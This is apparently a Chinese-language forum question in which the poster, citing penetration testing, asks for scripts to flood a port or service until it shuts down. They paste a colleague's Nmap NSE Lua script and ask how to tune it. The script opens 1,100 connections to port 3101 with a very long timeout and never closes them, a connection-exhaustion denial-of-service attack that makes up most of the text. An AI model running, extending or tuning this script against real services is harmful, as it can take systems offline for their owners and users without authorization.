我需要进行渗透测试。我想获得一个脚本或一些脚本来攻击并(希望不会)通过淹没某个端口/软件来关闭它。我已经安装了 NMAP 和同事的示例脚本,是否有人向我解释该脚本并阐明如何调整它以满足我的需要?
description = [[
Connects to ports without disconnecting
]]
author =""
license = 'Same as Nmap--See http://nmap.org/book/man-legal.html'
categories = {'auth', 'intrusive'}
require('shortport')
require('stdnse')
require('strbuf')
require('math')
local soc
local catch = function() soc:close() end
local try = nmap.new_try(catch)
--portrule = shortport.port_or_service({3000, 3001, 3002, 3003, 3004, 3005,3006,3007,3008,3009, 3010, 3011, 4008, 3110}, 'client server')
--portrule = shortport.port_or_service({3000-4008}, 'client server')
portrule = shortport.port_or_service({3101}, 'client server')
action = function(host, port)
math.randomseed( os.time() )
local buff = ""
soc = nmap.new_socket()
soc:set_timeout(400000000)
for j = 1,1100 do
print(j)
try(soc:connect(host.ip, port.number, port.protocol))
--soc:close()
end
--print(math.random(255))
return ""
end